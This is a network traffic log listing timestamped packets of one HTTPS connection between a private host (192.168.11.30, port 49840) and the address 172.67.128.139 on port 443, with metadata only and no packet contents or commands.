Dec 11, 2024 12:16:08.070329905 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.070348024 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.070502043 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.070502043 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.070521116 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.070599079 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.070599079 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.070844889 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.070945978 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.070966005 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.071084023 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.071212053 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.071221113 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.071283102 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.071739912 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.071757078 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.071897030 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.071907043 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.072110891 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.072714090 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.072731018 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.072873116 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.073044062 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.073051929 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.073177099 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.073261976 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.073354006 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.073360920 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.073457956 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.073551893 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.073621035 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.073638916 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.073786020 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.073831081 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.073940992 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.073949099 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.074454069 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.074476004 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.074693918 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.074703932 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.074790955 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.074879885 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.075182915 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.075201988 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.075311899 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.075392008 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.075397968 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.075470924 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.075566053 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.075587988 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.075767994 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.075776100 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.075855970 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.076359987 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.076378107 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.076586962 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.076592922 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.076704025 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.077161074 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.077178955 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.077286005 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.077290058 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.077393055 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.077626944 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.078114033 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.078130960 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.078309059 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.078392029 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.078401089 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.078551054 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.078664064 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.079448938 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.079468012 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.079618931 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.079653025 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.079663038 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.079732895 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.079901934 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.080570936 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.080591917 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.080732107 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.080743074 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.080965042 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.081341028 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.081357956 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.081475019 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.081532955 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.081682920 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.081691980 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.081744909 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.081902027 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.082452059 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.082467079 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.082746983 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.082849979 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.082856894 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.082915068 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.083138943 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.083441973 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.083456993 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.083698988 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.083707094 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.083769083 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.083806038 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.083905935 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.083914995 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.084127903 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.084583044 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.084597111 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.084800959 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.084809065 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.084907055 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.085059881 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.085328102 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.085345030 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.085674047 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.085683107 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.085905075 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.086189032 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.086218119 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.086558104 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.086565971 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.086711884 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.086771011 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.086786985 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.086997032 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.087006092 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.087104082 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.087201118 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.087204933 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.087209940 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.087236881 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.087415934 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.087421894 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.087543011 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.087662935 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.088246107 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.088263035 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.088430882 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.088531017 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.088537931 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.088790894 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.088928938 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.088948965 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.089286089 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.089296103 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.089349985 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.089483023 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.093586922 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.093605995 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.093734980 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.093780041 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.093780994 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.093791008 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.093878031 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.093991041 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.094163895 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.094180107 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.094306946 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.094351053 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.094357967 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.094499111 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.094527960 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.094646931 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.094661951 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.094796896 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.094949961 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.094959974 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.095026016 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.095139980 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.095438957 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.095455885 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.095786095 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.095803976 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.095879078 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.096015930 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.096170902 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.096187115 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.096394062 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.096405983 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.096489906 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.096693039 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.096818924 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.096833944 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.097033978 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.097052097 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.097109079 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.097215891 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.097691059 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.097706079 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.097881079 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.097971916 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.097975969 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.097990990 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.098047018 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.098265886 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.098278046 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.098433018 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.098647118 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.098660946 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.098763943 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.098870039 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.099337101 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.099353075 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.099507093 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.099555016 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.099562883 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.099620104 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.099764109 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.099922895 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.099937916 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.100061893 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.100156069 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.100162029 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.100353003 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.100581884 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.100595951 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.100737095 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.100855112 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.100874901 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.100982904 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.101027966 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.101063967 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.101082087 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.101217985 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.101310015 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.101825953 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.101840973 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.101907015 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.102022886 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.102132082 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.102142096 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.102528095 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.102549076 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.102664948 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.102673054 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.102756023 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.103010893 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.103180885 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.103293896 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.103375912 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.103482008 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.103492022 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.103660107 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.274822950 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.274842024 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.274909973 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.274943113 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.275005102 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.275062084 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.275062084 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.275082111 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.275094986 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.275187969 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.275269985 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.275362015 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.275363922 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.275381088 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.275441885 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.275464058 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.275538921 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.275624990 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.275643110 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.275803089 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.275888920 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.275926113 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.276046991 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.276115894 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.276274920 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.276293039 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.276437044 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.276460886 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.276520967 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.276532888 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.276691914 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.276783943 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.277045012 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.277060032 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.277235985 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.277337074 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.277348995 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.277406931 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.277489901 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.277498007 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.277606964 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.277614117 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.277719021 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.278132915 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.278147936 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.278302908 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.278327942 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.278414965 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.278425932 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.278485060 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.278517008 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.278656960 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.278665066 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.278770924 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.278826952 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.279083014 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.279098034 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.279316902 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.279318094 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.279325962 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.279345036 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.279407978 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.279489040 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.279545069 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.279555082 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.279633999 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.279793024 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.293294907 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.293313980 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.293493032 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.293579102 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.293636084 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.293653965 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.293823957 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.293838024 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.293961048 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.293977976 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.293988943 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.294121027 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.294194937 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.294286966 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.294301987 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.294478893 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.294599056 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.294743061 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.294761896 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.294774055 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.294781923 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.294950962 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.294970036 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.295053005 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.295079947 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.295303106 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.295768976 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.295783997 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.295967102 CET	443	49840	172.67.128.139	192.168.11.30
